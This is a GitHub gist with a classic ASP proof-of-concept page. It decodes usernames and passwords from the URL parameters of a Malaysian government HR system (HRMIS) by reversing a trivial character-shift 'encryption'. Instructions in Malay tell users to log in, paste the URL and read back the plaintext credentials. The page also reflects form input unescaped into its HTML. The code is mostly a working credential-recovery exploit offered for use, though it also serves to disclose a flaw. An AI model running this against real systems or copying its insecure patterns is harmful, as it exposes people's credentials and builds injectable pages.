Skip to content

Instantly share code, notes, and snippets.

@hariadi
Last active December 20, 2015 10:49
Show Gist options
  • Save hariadi/6118942 to your computer and use it in GitHub Desktop.
Save hariadi/6118942 to your computer and use it in GitHub Desktop.
HRMIS url parameter insecure P.O.C
<%@ LANGUAGE="VBSCRIPT" %>
<% Option Explicit %>
<%
'Test online: http://www.interactive.jpa.gov.my/smp/hrmis.asp
Dim counter, myArray, parameter, important, notimportant, weneed, userandpass, user, pass, username, password
Private Function Encrypt(ByVal string)
Dim x, i, tmp
For i = 1 To Len( string )
x = Mid( string, i, 1 )
tmp = tmp & Chr( Asc( x ) + 1 )
Next
tmp = StrReverse( tmp )
Encrypt = tmp
End Function
Private Function Decrypt(ByVal encryptedstring)
Dim x, i, tmp
encryptedstring = StrReverse( encryptedstring )
For i = 1 To Len( encryptedstring )
x = Mid( encryptedstring, i, 1 )
tmp = tmp & Chr( Asc( x ) - 1 )
Next
Decrypt = tmp
End Function
If request.form("url") <> "" Then
myArray = Split(request.form("url"),"?")
parameter = myArray(1)
important = Mid(parameter, InStr(parameter, "EJsut"))
notimportant = Mid(important, InStr(important, "&fhbvhobm"))
weneed = Replace(important, notimportant, "")
weneed = Replace(weneed, "æ", "")
'We get user and pass part
userandpass = Split(weneed,"&")
user = userandpass(0)
pass = userandpass(1)
username = Mid(user, InStr(user, "="))
username = Decrypt(username)
password = Mid(pass, InStr(pass, "="))
password = Decrypt(password)
End If
username = Replace(username, "<", "")
password = Replace(password, "<", "")
%>
<!DOCTYPE html>
<html lang="en-us">
<head>
<title>HRMIS Password Checker</title>
<meta name="description" content="HRMIS Password Checker.">
<meta name="viewport" content="width=device-width">
</head>
<body>
<form method="post">
<input name="url" type="text" size="120" value="<%= Request.Form("url") %>">
<input type="submit" value="decode">
</form>
<% If request.form("url") <> "" Then %>
<h1>User: <%= username %></h1>
<h1>Password: <%= password %></h1>
<% End If %>
<pre>
1. Login hrmis
2. Copy URL (Ctrl + C)
3. Paste dekat input dan decode
Tak. Aku tak simpan pun password ko. Aku dah tahu.
Sumber sekerip: https://gist.github.com/hariadi/6118942
<pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment